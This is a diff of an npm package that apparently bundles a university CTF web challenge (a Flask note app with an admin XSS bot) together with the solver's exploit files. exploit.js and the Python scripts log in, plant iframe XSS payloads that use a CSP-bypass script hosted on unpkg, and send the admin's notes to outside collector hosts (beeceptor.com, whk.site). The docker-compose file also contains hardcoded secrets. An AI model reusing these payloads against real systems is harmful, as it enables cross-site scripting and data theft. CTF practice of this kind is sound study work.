expliot 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/app/Dockerfile +25 -0
- package/app/app.py +157 -0
- package/app/static/main.js +48 -0
- package/app/static/note.js +32 -0
- package/app/templates/index.html +54 -0
- package/app/templates/login.html +54 -0
- package/app/templates/note.html +41 -0
- package/app/uwsgi.ini +5 -0
- package/bot/Dockerfile +20 -0
- package/bot/bot.py +43 -0
- package/bot/run.sh +6 -0
- package/docker-compose.yml +20 -0
- package/exploit.js +16 -0
- package/for_local.py +47 -0
- package/package.json +11 -0
- package/test_lenght.py +88 -0
package/app/Dockerfile
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
FROM python:alpine
|
|
2
|
+
RUN pip3 install flask redis rq
|
|
3
|
+
|
|
4
|
+
COPY . /app
|
|
5
|
+
|
|
6
|
+
WORKDIR /app
|
|
7
|
+
|
|
8
|
+
RUN adduser -D -u 1000 ctf
|
|
9
|
+
RUN chown -R ctf:ctf /app
|
|
10
|
+
RUN chmod -R 555 /app && chmod -R 744 /app/notes
|
|
11
|
+
|
|
12
|
+
RUN mkdir -p /app/notes/admin && rm -rf /app/notes/admin/*
|
|
13
|
+
RUN UUID=$(python -c 'import uuid; print(uuid.uuid4(), end="")') && \
|
|
14
|
+
echo -e "admin\nFLAG1\nFLAG{flag-1}" > "/app/notes/admin/$UUID"
|
|
15
|
+
|
|
16
|
+
RUN chmod -R 555 /app/notes/admin
|
|
17
|
+
|
|
18
|
+
RUN echo 'FLAG{flag-2}' > "/flag2-$(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 16).txt" && \
|
|
19
|
+
chmod 444 /flag2-*
|
|
20
|
+
|
|
21
|
+
USER ctf
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
CMD [ "sh", "-c", "flask run --host=0.0.0.0 --port=5000" ]
|
|
25
|
+
|
package/app/app.py
ADDED
|
@@ -0,0 +1,157 @@
|
|
|
1
|
+
from flask import Flask, render_template, request, redirect, url_for, flash, jsonify, session
|
|
2
|
+
from uuid import uuid4
|
|
3
|
+
from functools import wraps
|
|
4
|
+
from secrets import token_urlsafe
|
|
5
|
+
import os
|
|
6
|
+
import re
|
|
7
|
+
import sqlite3
|
|
8
|
+
import urllib.request
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
app = Flask(__name__)
|
|
12
|
+
app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY", 'super secret key')
|
|
13
|
+
|
|
14
|
+
from rq import Queue
|
|
15
|
+
from redis import Redis
|
|
16
|
+
app.queue = Queue(connection=Redis('xss-bot'))
|
|
17
|
+
|
|
18
|
+
NOTES_DIR = "notes"
|
|
19
|
+
|
|
20
|
+
users = {"admin": os.environ.get("ADMIN_PASSWORD", "admin")}
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def login_required(f):
|
|
24
|
+
@wraps(f)
|
|
25
|
+
def decorated_function(*args, **kwargs):
|
|
26
|
+
if not "username" in session:
|
|
27
|
+
flash("You must be logged in to view this page!", "error")
|
|
28
|
+
return redirect(url_for("login"))
|
|
29
|
+
return f(*args, **kwargs)
|
|
30
|
+
|
|
31
|
+
return decorated_function
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
@app.after_request
|
|
35
|
+
def add_header(response):
|
|
36
|
+
# add content security policy header
|
|
37
|
+
response.headers['Content-Security-Policy'] = "default-src 'self'; style-src 'unsafe-inline'; script-src 'self' https://unpkg.com/"
|
|
38
|
+
return response
|
|
39
|
+
|
|
40
|
+
@app.get("/")
|
|
41
|
+
@login_required
|
|
42
|
+
def index():
|
|
43
|
+
return render_template("index.html")
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
@app.get("/login")
|
|
47
|
+
def login():
|
|
48
|
+
return render_template("login.html")
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
@app.post("/login")
|
|
52
|
+
def action_login():
|
|
53
|
+
username = request.form.get("username")
|
|
54
|
+
password = request.form.get("password")
|
|
55
|
+
|
|
56
|
+
if len(username) < 5 or len(password) < 5:
|
|
57
|
+
flash("Username or password too short!", "error")
|
|
58
|
+
return redirect(url_for("login"))
|
|
59
|
+
|
|
60
|
+
if not re.match(r"^[a-zA-Z0-9_]+$", username):
|
|
61
|
+
flash(
|
|
62
|
+
"Username must only contain alphanumeric characters and underscores!",
|
|
63
|
+
"error"
|
|
64
|
+
)
|
|
65
|
+
return redirect(url_for("login"))
|
|
66
|
+
|
|
67
|
+
if username in users and users[username] == password:
|
|
68
|
+
session["username"] = username
|
|
69
|
+
return redirect(url_for("index"))
|
|
70
|
+
elif username not in users and not os.path.exists(os.path.join(NOTES_DIR, username)):
|
|
71
|
+
users[username] = password
|
|
72
|
+
os.mkdir(os.path.join(NOTES_DIR, username))
|
|
73
|
+
flash("Successfully registered!", "success")
|
|
74
|
+
return redirect(url_for("login"))
|
|
75
|
+
else:
|
|
76
|
+
flash("Invalid username or password!", "error")
|
|
77
|
+
return redirect(url_for("login"))
|
|
78
|
+
|
|
79
|
+
@app.get("/note")
|
|
80
|
+
def note():
|
|
81
|
+
return render_template("note.html")
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
@app.get("/api/notes/all")
|
|
85
|
+
@login_required
|
|
86
|
+
def api_notes():
|
|
87
|
+
notes = []
|
|
88
|
+
user_dir = os.path.join(NOTES_DIR, session["username"])
|
|
89
|
+
for filename in os.listdir(user_dir):
|
|
90
|
+
with open(os.path.join(user_dir, filename)) as f:
|
|
91
|
+
notes.append({
|
|
92
|
+
"id": filename,
|
|
93
|
+
"author": f.readline().strip(),
|
|
94
|
+
"title": f.readline().strip()
|
|
95
|
+
})
|
|
96
|
+
return jsonify(notes)
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
@app.post("/api/notes")
|
|
100
|
+
@login_required
|
|
101
|
+
def api_create_note():
|
|
102
|
+
if session["username"] == "admin":
|
|
103
|
+
return {"error": "Admin cannot create notes!"}, 403
|
|
104
|
+
user_dir = os.path.join(NOTES_DIR, session["username"])
|
|
105
|
+
note_id = str(uuid4())
|
|
106
|
+
title, content = request.json["title"], request.json["content"]
|
|
107
|
+
if len(title) > 48 or len(content) > 256:
|
|
108
|
+
return {"error": "Title or content too long!"}, 400
|
|
109
|
+
with open(os.path.join(user_dir, note_id), "w") as f:
|
|
110
|
+
f.write(session["username"] + "\n")
|
|
111
|
+
f.write(title + "\n")
|
|
112
|
+
f.write(content)
|
|
113
|
+
return {"id": note_id}
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
@app.get("/api/notes")
|
|
117
|
+
@login_required
|
|
118
|
+
def api_get_note_content():
|
|
119
|
+
note_id = request.args.get("id")
|
|
120
|
+
author = request.args.get("author") or session.get("username")
|
|
121
|
+
|
|
122
|
+
if not note_id or ".." in note_id:
|
|
123
|
+
return {"error": "Invalid note ID!"}, 400
|
|
124
|
+
|
|
125
|
+
if not author or not re.match(r"^[a-zA-Z0-9_]+$", author):
|
|
126
|
+
return {"error": "Invalid author!"}, 400
|
|
127
|
+
|
|
128
|
+
user_dir = os.path.join(NOTES_DIR, author)
|
|
129
|
+
|
|
130
|
+
if not os.path.exists(os.path.join(user_dir, note_id)):
|
|
131
|
+
return {"error": "Note not found!"}, 404
|
|
132
|
+
|
|
133
|
+
with open(os.path.join(user_dir, note_id)) as f:
|
|
134
|
+
note_author = f.readline().strip()
|
|
135
|
+
title = f.readline().strip()
|
|
136
|
+
content = f.read().strip()
|
|
137
|
+
|
|
138
|
+
if session['username'] != 'admin' and note_author != session["username"]:
|
|
139
|
+
return {"error": "You do not have permission to view this note!"}, 403
|
|
140
|
+
|
|
141
|
+
return {"author": note_author, "title": title, "content": content}
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
@app.post("/report")
|
|
145
|
+
def report():
|
|
146
|
+
note_id = request.form.get("note_id", "") # uuid
|
|
147
|
+
author = request.form.get("author", "")
|
|
148
|
+
|
|
149
|
+
if not re.match(r"^[a-zA-Z0-9_]+$", author) or not re.match(r"^[0-9a-f]{8}-([0-9a-f]{4}-){3}[0-9a-f]{12}$", note_id):
|
|
150
|
+
return "Invalid author or note ID!"
|
|
151
|
+
|
|
152
|
+
if not os.path.exists(os.path.join(NOTES_DIR, author, note_id)):
|
|
153
|
+
return "Note not found!"
|
|
154
|
+
|
|
155
|
+
app.queue.enqueue("bot.browse", "/note?id=" + note_id + "&author=" + author)
|
|
156
|
+
|
|
157
|
+
return "<meta http-equiv='refresh' content='1;url=/'><h1>Report submitted!</h1>"
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
function updateNoteList() {
|
|
2
|
+
fetch('/api/notes/all')
|
|
3
|
+
.then(res => res.json())
|
|
4
|
+
.then(result => {
|
|
5
|
+
const noteList = document.querySelector('#noteList');
|
|
6
|
+
noteList.innerHTML = '';
|
|
7
|
+
result.forEach(note => {
|
|
8
|
+
const div = document.createElement('div');
|
|
9
|
+
div.className = 'note'
|
|
10
|
+
const h2 = document.createElement('h2');
|
|
11
|
+
h2.innerText = note.title;
|
|
12
|
+
div.appendChild(h2);
|
|
13
|
+
const p = document.createElement('p');
|
|
14
|
+
p.innerText = `Author: ${note.author || '(anonymous)'}`;
|
|
15
|
+
div.appendChild(p);
|
|
16
|
+
|
|
17
|
+
div.onclick = () => location.href = `/note?id=${note.id}`;
|
|
18
|
+
noteList.appendChild(div);
|
|
19
|
+
});
|
|
20
|
+
})
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
const form = document.querySelector('#form');
|
|
24
|
+
form.addEventListener('submit', (e) => {
|
|
25
|
+
e.preventDefault();
|
|
26
|
+
const data = {
|
|
27
|
+
title: form.title.value,
|
|
28
|
+
content: form.content.value
|
|
29
|
+
};
|
|
30
|
+
fetch('/api/notes', {
|
|
31
|
+
method: 'POST',
|
|
32
|
+
body: JSON.stringify(data),
|
|
33
|
+
headers: new Headers({
|
|
34
|
+
'Content-Type': 'application/json'
|
|
35
|
+
})
|
|
36
|
+
}).then(res => res.json())
|
|
37
|
+
.then(result => {
|
|
38
|
+
form.title.value = '';
|
|
39
|
+
form.content.value = '';
|
|
40
|
+
if (result.error) {
|
|
41
|
+
alert(result.message);
|
|
42
|
+
return;
|
|
43
|
+
}
|
|
44
|
+
updateNoteList();
|
|
45
|
+
})
|
|
46
|
+
})
|
|
47
|
+
|
|
48
|
+
updateNoteList();
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
const noteId = new URLSearchParams(window.location.search).get('id');
|
|
2
|
+
const author = new URLSearchParams(window.location.search).get('author');
|
|
3
|
+
let apiUrl = '/api/notes?id=' + noteId;
|
|
4
|
+
if (author) apiUrl += '&author=' + author;
|
|
5
|
+
fetch(apiUrl)
|
|
6
|
+
.then(res => res.json())
|
|
7
|
+
.then(result => {
|
|
8
|
+
if (result.error) {
|
|
9
|
+
alert(result.error);
|
|
10
|
+
location.href = "/";
|
|
11
|
+
return;
|
|
12
|
+
}
|
|
13
|
+
const note = document.querySelector('#note');
|
|
14
|
+
note.innerHTML = `
|
|
15
|
+
<h1>${result.title}</h1>
|
|
16
|
+
<p>${marked.parse(result.content)}</p>
|
|
17
|
+
<hr/>
|
|
18
|
+
<span style="color: #999">
|
|
19
|
+
By @${result.author}・🔒 Private・
|
|
20
|
+
<form action="/report" style="display: inline" method="post">
|
|
21
|
+
<input type="hidden" name="note_id" value="${noteId}">
|
|
22
|
+
<input type="hidden" name="author" value="${result.author}">
|
|
23
|
+
<input type="submit" value="Report">
|
|
24
|
+
</form>
|
|
25
|
+
</span>
|
|
26
|
+
`;
|
|
27
|
+
note.querySelector('form').addEventListener('submit', e => {
|
|
28
|
+
e.preventDefault();
|
|
29
|
+
if (!confirm('Are you sure to report this note?')) return;
|
|
30
|
+
e.target.submit();
|
|
31
|
+
})
|
|
32
|
+
});
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
|
|
4
|
+
<head>
|
|
5
|
+
<meta charset="UTF-8">
|
|
6
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
7
|
+
<title>Note</title>
|
|
8
|
+
<style>
|
|
9
|
+
body {
|
|
10
|
+
font-family: Arial, Helvetica, sans-serif;
|
|
11
|
+
padding: 0 20vw;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
@media screen and (max-width: 768px) {
|
|
15
|
+
body {
|
|
16
|
+
padding: 0;
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
#noteList {
|
|
21
|
+
display: flex;
|
|
22
|
+
flex-wrap: wrap;
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
.note {
|
|
26
|
+
cursor: pointer;
|
|
27
|
+
width: 250px;
|
|
28
|
+
border: 1px solid #ccc;
|
|
29
|
+
margin: 10px;
|
|
30
|
+
padding: 10px;
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
.note:hover {
|
|
34
|
+
background: #eee;
|
|
35
|
+
}
|
|
36
|
+
</style>
|
|
37
|
+
</head>
|
|
38
|
+
|
|
39
|
+
<body>
|
|
40
|
+
<h1>Online Note</h1>
|
|
41
|
+
<form id="form">
|
|
42
|
+
<p><input type="text" name="title" placeholder="Title"></p>
|
|
43
|
+
<p><textarea name="content" cols="30" rows="3" placeholder="> Markdown Content"></textarea></p>
|
|
44
|
+
<input type="submit" value="Add note">
|
|
45
|
+
</form>
|
|
46
|
+
|
|
47
|
+
<hr>
|
|
48
|
+
<h2>Note list</h2>
|
|
49
|
+
<div id="noteList">...</div>
|
|
50
|
+
|
|
51
|
+
<script src="/static/main.js"></script>
|
|
52
|
+
</body>
|
|
53
|
+
|
|
54
|
+
</html>
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
|
|
4
|
+
<head>
|
|
5
|
+
<meta charset="UTF-8">
|
|
6
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
7
|
+
<title>Login</title>
|
|
8
|
+
<style>
|
|
9
|
+
body {
|
|
10
|
+
display: flex;
|
|
11
|
+
flex-direction: column;
|
|
12
|
+
align-items: center;
|
|
13
|
+
justify-content: center;
|
|
14
|
+
min-height: 100vh;
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
form {
|
|
18
|
+
display: flex;
|
|
19
|
+
flex-direction: column;
|
|
20
|
+
align-items: center;
|
|
21
|
+
justify-content: center;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
input {
|
|
25
|
+
margin: 10px;
|
|
26
|
+
padding: 10px;
|
|
27
|
+
width: 200px;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
hr {
|
|
31
|
+
width: 100%;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
.message {
|
|
35
|
+
color: red;
|
|
36
|
+
}
|
|
37
|
+
</style>
|
|
38
|
+
</head>
|
|
39
|
+
|
|
40
|
+
<body>
|
|
41
|
+
{% for message in get_flashed_messages() %}
|
|
42
|
+
<div class="message">{{ message }}</div>
|
|
43
|
+
{% endfor %}
|
|
44
|
+
|
|
45
|
+
<h1>Login & Register</h1>
|
|
46
|
+
<form action="/login" method="post" id="login-form">
|
|
47
|
+
<input type="text" name="username" placeholder="username">
|
|
48
|
+
<input type="password" name="password" placeholder="password">
|
|
49
|
+
<input type="submit" value="login">
|
|
50
|
+
</form>
|
|
51
|
+
|
|
52
|
+
</body>
|
|
53
|
+
|
|
54
|
+
</html>
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
|
|
4
|
+
<head>
|
|
5
|
+
<meta charset="UTF-8">
|
|
6
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
7
|
+
<title>Note</title>
|
|
8
|
+
<style>
|
|
9
|
+
body {
|
|
10
|
+
font-family: Arial, Helvetica, sans-serif;
|
|
11
|
+
padding: 0 20vw;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
@media screen and (max-width: 768px) {
|
|
15
|
+
body {
|
|
16
|
+
padding: 0;
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
hr {
|
|
21
|
+
margin: 20px 0;
|
|
22
|
+
/* color */
|
|
23
|
+
border-top: 1px solid #ddd;
|
|
24
|
+
border-bottom: 1px solid #ddd;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
#note {
|
|
28
|
+
border: 1px solid #ccc;
|
|
29
|
+
margin: auto 0;
|
|
30
|
+
padding: 10px;
|
|
31
|
+
}
|
|
32
|
+
</style>
|
|
33
|
+
</head>
|
|
34
|
+
|
|
35
|
+
<body>
|
|
36
|
+
<div id="note"></div>
|
|
37
|
+
<script src="https://unpkg.com/marked@11.1.0/marked.min.js"></script>
|
|
38
|
+
<script src="/static/note.js"></script>
|
|
39
|
+
</body>
|
|
40
|
+
|
|
41
|
+
</html>
|
package/app/uwsgi.ini
ADDED
package/bot/Dockerfile
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
FROM python:3.11
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
RUN apt update && \
|
|
5
|
+
apt install -y --no-install-recommends chromium-driver redis-server
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
RUN apt update && \
|
|
9
|
+
apt install -y --no-install-recommends chromium
|
|
10
|
+
|
|
11
|
+
RUN rm -rf /var/lib/apt/lists/*
|
|
12
|
+
|
|
13
|
+
RUN pip3 install --no-cache-dir selenium redis rq
|
|
14
|
+
|
|
15
|
+
COPY bot.py /bot.py
|
|
16
|
+
COPY run.sh /run.sh
|
|
17
|
+
RUN chmod +x /run.sh
|
|
18
|
+
|
|
19
|
+
RUN useradd --no-create-home --home-dir / --shell /bin/false user
|
|
20
|
+
CMD bash /run.sh
|
package/bot/bot.py
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
import time
|
|
3
|
+
import os
|
|
4
|
+
|
|
5
|
+
from selenium.webdriver import Chrome
|
|
6
|
+
from selenium.webdriver.common.by import By
|
|
7
|
+
from selenium.webdriver.chrome.options import Options
|
|
8
|
+
from selenium.common.exceptions import TimeoutException, WebDriverException
|
|
9
|
+
|
|
10
|
+
TIMEOUT = 5
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def browse(path):
|
|
14
|
+
options = Options()
|
|
15
|
+
options.headless = True
|
|
16
|
+
options.add_argument('--headless')
|
|
17
|
+
options.add_argument('--no-sandbox')
|
|
18
|
+
options.add_argument('--disable-dev-shm-usage')
|
|
19
|
+
options.add_argument('--no-expose-wasm')
|
|
20
|
+
options.add_argument('--js-flags=--jitless')
|
|
21
|
+
|
|
22
|
+
chrome = Chrome(options=options)
|
|
23
|
+
chrome.set_page_load_timeout(TIMEOUT)
|
|
24
|
+
chrome.set_script_timeout(TIMEOUT)
|
|
25
|
+
|
|
26
|
+
try:
|
|
27
|
+
# login
|
|
28
|
+
base_url = 'http://web'
|
|
29
|
+
username, password = 'admin', os.getenv('ADMIN_PASSWORD')
|
|
30
|
+
|
|
31
|
+
chrome.get(base_url + "/login")
|
|
32
|
+
chrome.find_element('name','username').send_keys(username)
|
|
33
|
+
chrome.find_element('name','password').send_keys(password)
|
|
34
|
+
# input[type="submit"]
|
|
35
|
+
chrome.find_element(By.CSS_SELECTOR, 'input[type="submit"]').click()
|
|
36
|
+
|
|
37
|
+
# visit
|
|
38
|
+
chrome.get(base_url + path)
|
|
39
|
+
time.sleep(TIMEOUT)
|
|
40
|
+
except (TimeoutException, WebDriverException) as e:
|
|
41
|
+
print(e)
|
|
42
|
+
finally:
|
|
43
|
+
chrome.quit()
|
package/bot/run.sh
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
version: "3.5"
|
|
2
|
+
|
|
3
|
+
x-share-env: &share-env
|
|
4
|
+
ADMIN_PASSWORD: ztLsRe2dX8praTtf5L1FBSY5VuSSXy0Edb01q3AQVgs
|
|
5
|
+
SECRET_KEY: jR8swB-gpkgILCG2HCMkz1LVWG0Jlj7ANaaRW4ohSZI
|
|
6
|
+
|
|
7
|
+
services:
|
|
8
|
+
web:
|
|
9
|
+
depends_on:
|
|
10
|
+
- xss-bot
|
|
11
|
+
build: ./app
|
|
12
|
+
ports:
|
|
13
|
+
- 10082:5000/tcp
|
|
14
|
+
environment:
|
|
15
|
+
<<: *share-env
|
|
16
|
+
|
|
17
|
+
xss-bot:
|
|
18
|
+
build: ./bot
|
|
19
|
+
environment:
|
|
20
|
+
<<: *share-env
|
package/exploit.js
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
function leakDataFromEndpoint() {
|
|
2
|
+
fetch('http://10.113.184.121:10082/api/notes/all')
|
|
3
|
+
.then(response => response.json())
|
|
4
|
+
.then(data => {
|
|
5
|
+
fetch('https://ntuctf.free.beeceptor.com', {
|
|
6
|
+
method: 'POST',
|
|
7
|
+
body: JSON.stringify(data),
|
|
8
|
+
headers: { 'Content-Type': 'application/json' }
|
|
9
|
+
});
|
|
10
|
+
})
|
|
11
|
+
.catch(error => console.error('Error:', error));
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
window.parent.leakDataFromEndpoint = leakDataFromEndpoint;
|
|
15
|
+
|
|
16
|
+
leakDataFromEndpoint();
|
package/for_local.py
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
from bs4 import BeautifulSoup
|
|
3
|
+
|
|
4
|
+
# The login URL and the target URL for creating a note
|
|
5
|
+
login_url = 'http://140.112.29.205:10082/login'
|
|
6
|
+
create_note_url = 'http://140.112.29.205:10082/api/notes'
|
|
7
|
+
|
|
8
|
+
# Your login credentials
|
|
9
|
+
credentials = {
|
|
10
|
+
'username': '12345',
|
|
11
|
+
'password': '12345'
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
#測試npm-2
|
|
16
|
+
xss_payload = """
|
|
17
|
+
<iframe srcdoc="
|
|
18
|
+
<script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
|
|
19
|
+
<script src='https://unpkg.com//test_ctf_ntu_fetch_3/test_ctf_ntu_fetch.js'></script>
|
|
20
|
+
<br csp= 'leakDataFromEndpoint()'>
|
|
21
|
+
"></iframe>
|
|
22
|
+
"""
|
|
23
|
+
|
|
24
|
+
# Start a session so we can have persistent cookies
|
|
25
|
+
session = requests.session()
|
|
26
|
+
|
|
27
|
+
# First, login to the site
|
|
28
|
+
login_response = session.post(login_url, data=credentials)
|
|
29
|
+
|
|
30
|
+
# Check if login was successful
|
|
31
|
+
if login_response.ok:
|
|
32
|
+
# Now, create the note with the XSS payload
|
|
33
|
+
note_data = {
|
|
34
|
+
'title': 'TestNote_1',
|
|
35
|
+
'content': xss_payload # Inserting the XSS payload into the note content
|
|
36
|
+
}
|
|
37
|
+
create_note_response = session.post(create_note_url, json=note_data)
|
|
38
|
+
|
|
39
|
+
# Check if the request to create a note was successful
|
|
40
|
+
if create_note_response.ok:
|
|
41
|
+
print('Note with XSS payload created successfully')
|
|
42
|
+
else:
|
|
43
|
+
print('Failed to create note with XSS payload')
|
|
44
|
+
print('Status Code:', create_note_response.status_code)
|
|
45
|
+
print('Response:', create_note_response.text)
|
|
46
|
+
else:
|
|
47
|
+
print('Login failed')
|
package/package.json
ADDED
package/test_lenght.py
ADDED
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
str = '''<iframe srcdoc="<script src='//unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script><script>fetch('/api/notes/all').then(r=>r.json()).then(d=>d.forEach(n=>{let u='//whk.site/7b314';fetch(u,{method:'POST',body:JSON.stringify({id:n.id})})}));</script>"></iframe>
|
|
2
|
+
'''
|
|
3
|
+
|
|
4
|
+
print(len(str))
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
import requests
|
|
8
|
+
from bs4 import BeautifulSoup
|
|
9
|
+
|
|
10
|
+
# The login URL and the target URL for creating a note
|
|
11
|
+
login_url = 'http://10.113.184.121:10082/login'
|
|
12
|
+
create_note_url = 'http://10.113.184.121:10082/api/notes'
|
|
13
|
+
|
|
14
|
+
# Your login credentials
|
|
15
|
+
credentials = {
|
|
16
|
+
'username': 'abcabc',
|
|
17
|
+
'password': 'abcabc'
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
# The XSS payload using an iframe that includes a script from unpkg.com and an attempt to execute alert(1)
|
|
21
|
+
|
|
22
|
+
# 成功塞入alert
|
|
23
|
+
# xss_payload = ("<iframe srcdoc=\"<script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'>"
|
|
24
|
+
# "</script><br csp='alert(1)'>\"></iframe>")
|
|
25
|
+
|
|
26
|
+
# 測試bee -1
|
|
27
|
+
# xss_payload = """
|
|
28
|
+
# <iframe srcdoc=\"
|
|
29
|
+
# <script>
|
|
30
|
+
# // 使用fetch从目标网站获取数据
|
|
31
|
+
# fetch('login/api/notes/all')
|
|
32
|
+
# .then(response => response.json())
|
|
33
|
+
# .then(data => {
|
|
34
|
+
# // 数据获取成功后,将数据发送到Beeceptor端点
|
|
35
|
+
# fetch('https://ntuctf.free.beeceptor.com', {
|
|
36
|
+
# method: 'POST',
|
|
37
|
+
# body: JSON.stringify(data),
|
|
38
|
+
# headers: {'Content-Type': 'application/json'}
|
|
39
|
+
# });
|
|
40
|
+
# })
|
|
41
|
+
# .catch(error => console.error('Error:', error));
|
|
42
|
+
# </script>
|
|
43
|
+
# \"></iframe>
|
|
44
|
+
# """
|
|
45
|
+
|
|
46
|
+
#測試npm-1
|
|
47
|
+
# xss_payload = """
|
|
48
|
+
# <iframe srcdoc="
|
|
49
|
+
# <script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
|
|
50
|
+
# <script src='https://unpkg.com/test_ctf_ntu_fetch/test_ctf_ntu_fetch.js'></script>
|
|
51
|
+
# <script>window.leakDataFromEndpoint();</script>
|
|
52
|
+
# "></iframe>
|
|
53
|
+
# """
|
|
54
|
+
|
|
55
|
+
#測試npm-2
|
|
56
|
+
xss_payload = """
|
|
57
|
+
<iframe srcdoc="
|
|
58
|
+
<script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
|
|
59
|
+
<script src='https://unpkg.com//test_ctf_ntu_fetch_3/test_ctf_ntu_fetch.js'></script>
|
|
60
|
+
<br csp= 'leakDataFromEndpoint()'>
|
|
61
|
+
"></iframe>
|
|
62
|
+
"""
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
# Start a session so we can have persistent cookies
|
|
66
|
+
session = requests.session()
|
|
67
|
+
|
|
68
|
+
# First, login to the site
|
|
69
|
+
login_response = session.post(login_url, data=credentials)
|
|
70
|
+
|
|
71
|
+
# Check if login was successful
|
|
72
|
+
if login_response.ok:
|
|
73
|
+
# Now, create the note with the XSS payload
|
|
74
|
+
note_data = {
|
|
75
|
+
'title': 'XSS_npm_7',
|
|
76
|
+
'content': "xss_payload" # Inserting the XSS payload into the note content
|
|
77
|
+
}
|
|
78
|
+
create_note_response = session.post(create_note_url, json=note_data)
|
|
79
|
+
|
|
80
|
+
# Check if the request to create a note was successful
|
|
81
|
+
if create_note_response.ok:
|
|
82
|
+
print('Note with XSS payload created successfully')
|
|
83
|
+
else:
|
|
84
|
+
print('Failed to create note with XSS payload')
|
|
85
|
+
print('Status Code:', create_note_response.status_code)
|
|
86
|
+
print('Response:', create_note_response.text)
|
|
87
|
+
else:
|
|
88
|
+
print('Login failed')
|